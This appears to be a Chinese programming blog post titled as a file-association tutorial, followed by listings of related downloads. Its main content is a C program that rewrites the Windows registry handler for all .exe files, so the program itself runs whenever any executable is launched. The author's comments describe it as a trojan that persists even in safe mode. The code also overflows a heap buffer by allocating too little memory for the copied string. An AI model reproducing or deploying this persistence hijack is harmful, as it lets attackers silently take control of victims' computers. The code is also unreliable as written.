`
mybwu_com
  • 浏览: 192800 次
  • 性别: Icon_minigender_1
社区版块
存档分类
最新评论

vc++实现文件关联

 
阅读更多
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='\\')
strncat(temp,"\\\\",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"\"变为"\\"
char str[]="\"%1\" %*";
RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," \"%1\" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
return 0;
}
分享到:
评论

相关推荐

    vc++注册表文件关联,图标关联

    总结,VC++注册表文件关联和图标关联的实现涉及到对Windows注册表的读写操作,通过创建和修改特定的注册表键值来达到目的。在实际项目中,需要注意安全性和稳定性,确保操作无误,同时考虑用户界面的友好性,提供...

    VC++实现添加文件关联的方法示例

    通过VC++实现文件关联,可以增加程序的易用性和扩展性。 在Windows系统中,文件关联信息主要存储在注册表的HKEY_CLASSES_ROOT分支中。注册表中的每一项通常对应一个特定的文件扩展名或文件类型标识符。例如,当系统...

    VC++建立文件关联的方法(VC.net)

    在VC++.net中,创建文件关联是为特定的文件扩展名指定一个应用程序的过程,使得当用户双击该类型的文件时,系统会自动调用你指定的程序来打开它。这通常用于开发桌面应用程序,比如当你创建了一个新的文本编辑器,你...

    VC++源码—文件关联实例

    在这个实例中,可能有一个名为`FileAssociation.cpp`的文件,其中包含了实现文件关联功能的函数,比如`AssociateFileType`。这个函数可能接收文件扩展名和程序路径作为参数,然后进行注册表操作。同时,还有一个可能...

    VC++实现文件下载(客户端和服务器)

    在本文中,我们将深入探讨如何使用VC++通过SOCKET编程中的select模型来实现文件的下载功能,这包括客户端和服务器端的实现。首先,我们需要理解SOCKET编程的基础,它是网络通信的核心,允许不同计算机间的进程进行...

    VC++根据文件后缀名获文件打开方式

    总的来说,通过VC++实现根据文件后缀名获取打开方式的过程涉及到对Windows API的深入理解和应用,包括读取注册表、解析路径模板以及使用特定的API函数。这个功能在很多应用场景中都很实用,比如自定义文件管理器或者...

    VC++实现DXF文件的导入

    在VC++环境中实现DXF(Drawing Exchange Format)文件的导入是一项技术性较强的任务,涉及到图形接口编程、文件解析以及数据结构的理解。DXF文件是一种由AutoCAD生成的二维和三维图形数据交换格式,广泛用于CAD应用...

    VC++实现文件与应用程序关联的方法(注册表修改)

    以下将详细阐述如何使用VC++实现文件与应用程序的关联,以及涉及到的注册表修改技巧。 首先,要检查文件关联情况,我们可以编写一个名为`CheckFileRelation`的函数。这个函数接受两个参数:要检测的文件扩展名(如...

    vc++ 实现屏幕捕捉

    在VC++中,可以使用Windows API函数来实现这一功能。`PrintWindow()`函数是最常用的一种方法,它可以捕获窗口的内容,而`BitBlt()`函数则可用于从设备上下文(DC)到另一个DC的位图复制,从而捕获整个桌面。这两种...

    vc++实现金山毒霸界面

    【标题】"vc++实现金山毒霸界面"揭示了这个项目是使用Microsoft Visual C++(简称vc++)编程环境,来复刻或模仿金山毒霸软件的用户界面。这是一个典型的Windows应用程序开发实例,主要涉及MFC(Microsoft Foundation...

    vc++实现报表功能

    本篇文章将深入探讨如何利用MFC在VC++中实现报表功能,包括修改背景图片、背景颜色以及扩展对话框。 首先,创建报表的基础框架。在MFC中,通常会使用CDialog派生类来创建自定义对话框,这个对话框将作为报表的载体...

    VC++实现简单计算器

    在本项目中,"VC++实现简单计算器" 是一个基于微软的Visual C++开发环境创建的基本计算程序。这个计算器能够执行基本的算术运算,如加、减、乘、除,为初学者提供了理解VC++编程语言以及GUI(图形用户界面)设计的...

    VC++实现点、线、面矢量化采集

    总的来说,通过VC++实现GIS的点、线、面矢量化采集,是一个涉及用户交互、图形处理、数据结构和文件操作等多个方面的综合项目。理解并掌握这些技术,对于提升GIS应用的开发能力大有裨益。在实际开发中,可以根据具体...

    VC++实现电子词典

    【VC++实现电子词典】项目是一个基于C++编程语言的简单英汉词典软件,主要功能在于提供英语单词的查询、翻译以及插入操作。在这个项目中,开发者使用了Visual C++开发环境,通过MFC(Microsoft Foundation Classes)...

    VC++ 实现倾斜旋转文字

    在VC++环境中,实现倾斜旋转文字通常涉及到图形设备接口(GDI)的使用,这是一个Windows ...为了进一步学习和实践,你可以打开这个文件,结合上述理论知识,理解并运行代码,从而掌握在VC++中实现倾斜旋转文字的方法。

    通过vc++实现对dxf文件中指定数据的读取

    通过以上步骤,我们可以使用VC++实现对DXF文件的读取。不过需要注意的是,DXF文件格式复杂且版本众多,不同的版本可能存在细微差异,因此在实际应用中,可能需要针对具体版本进行适配和调整。此外,为了提高代码的可...

Global site tag (gtag.js) - Google Analytics